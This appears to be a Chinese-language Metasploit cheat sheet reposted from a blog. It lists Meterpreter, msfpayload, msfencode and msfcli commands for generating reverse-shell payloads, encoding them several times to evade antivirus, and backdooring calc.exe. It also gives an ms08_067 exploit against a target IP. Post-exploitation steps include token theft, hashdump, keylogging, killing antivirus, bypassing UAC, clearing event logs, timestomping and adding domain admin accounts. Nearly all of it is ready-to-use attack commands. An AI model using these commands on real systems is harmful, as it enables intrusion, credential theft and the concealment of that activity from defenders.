db_nmap nmap 掃描並導入結果
db_autopwn -h 查看autopwn 幫助
db_autopwn -p -r -e 基於端口,反彈shell
db_destroy 刪除數據庫

Meterpreter Commands

help 查看幫助
run scriptname 運行腳本
sysinfo 系統基本信息
ls 列目錄
use priv 運行提權組件
ps 列進程
migrate PID PID 遷移
use incognito token 竊取
list_tokens -u 查看可用用戶token
list_tokens -g 查看可用組token
impersonate_token DOMAIN_NAME\USERNAME 模仿token
steal_token PID 竊取PID 所屬token 並模仿
drop_token 中止模仿token
getsystem 獲取SYSTEM 權限
shell 運行shell
execute -f cmd.exe -i 交互式運行cmd
execute -f cmd.exe -i -t 使用可用token 運行
execute -f cmd.exe -i -H -t 同上,同時隱藏進程
rev2self 返回至初始用戶
reg command 修改註冊表
setkesktop number 切換至另外一已登陸用戶屏幕
screenshot 截屏
upload file 上傳文件
download file 下載文件
keyscan_start 開始截取擊鍵記錄
keyscan_stop 中止截取擊鍵記錄
getprivs 儘量提高權限
uictl enable keyboard/mouse 獲取鍵盤或鼠標的控制權
background 將當前meterpreter shell 轉入後臺
hashdump 導出全部用戶hash
use sniffer 加載嗅探模塊
sniffer_interfaces 查看可用網卡接口
sniffer_dump interfaceID pcapname 開始嗅探
sniffer_start interfaceID packet-buffer 指定buffer 範圍嗅探
sniffer_stats interfaceID 抓取統計信息
sniffer_stop interfaceID 中止嗅探
add_user username password -h ip 添加用戶
add_group_user 「Domain Admins」 username -h ip 添加用戶至管理組
clearev 清空日誌
timestomp 改變文件屬性如建立時間等
reboot 重啓

MSFpayload Commands

msfpayload -h 查看幫助
msfpayload windows/meterpreter/bind_tcp 0
查看指定payload 可用選項
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X >
payload.exe
生成payload.exe
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R >
payload.raw
保存爲RAW 格式,可用於msfencode
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
保存爲C 格式
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
保存爲java 格式

MSFencode Commands

msfencode -h 查看幫助
msfencode -l 查看可用encoder
msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
以指定格式顯示編碼後的buffer
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
生成編碼後的exe
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/countdown -c
5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe
多編碼器結合,屢次編碼
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
生成純字符格式C 類型shellcode

MSFcli Commands

msfcli |grep exploit 只顯示exploit
msfcli | grep exploit/windows 只顯示windows exploit
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp
LPORT=443 RHOST=172.16.32.26 E
針對指定IP 加載指定exp 並設定payload

MSF,Ninja,Fu

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |
msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
使用calc.exe 做爲模板,生成通過編碼的後門
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |
msfencode -x calc,exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
與上面差很少,只是執行的時候不依賴於生成的可執行文件,且不會有任何提示信息
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe
-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler
PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
生成編碼後的payload 並開始監聽本機端口

MSFvenom

msfvenom –payload 自動生成payload

Meterpreter Post Exploitation Commands

提權通常步驟
meterpreter> use priv
meterpreter> getsystem
meterpreter> ps
meterpreter> steal_token 1784
meterpreter> shell
net user msf msf /add /DOMAIN
net group 「Domain Admins」 msf /add /DOMAIN
獲取hash 通常步驟
meterpreter> use priv
meterpreter> getsystem
meterpreter> hashdump
若是是在win2008 系統上:
meterpreter> run migrate
meterpreter> run killav
meterpreter> ps
meterpreter> migrate 1436
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop
使用Incognito 提權
meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter> use priv
meterpreter> getsystem
meterpreter> list_tokens -u
meterpreter> impersonate_token IHAZSECURITY\Administrator
查看保護機制並禁用之
meterpreter> run getcountermeasure
meterpreter> run getcountermeasure -h
meterpreter> run getcountermeasure -d -k
檢查是不是虛擬機
meterpreter> run checkvm
轉入命令行
meterpreter> shell
遠程VNC 控制
meterpreter> run vnc
轉入後臺
meterpreter> background
Bypass UAC
meterpreter> run post/windows/escalate/bypassuac
OS X 系統上dump hash
meterpreter> run post/osx/gather/hashdump
Linux 系統上dump hash
meterpreter> run post/linux/gather/hashdump

轉自:http://blog.csdn.net/tan6600/article/details/46850057

QQ羣:11511420

相關文章
相關標籤/搜索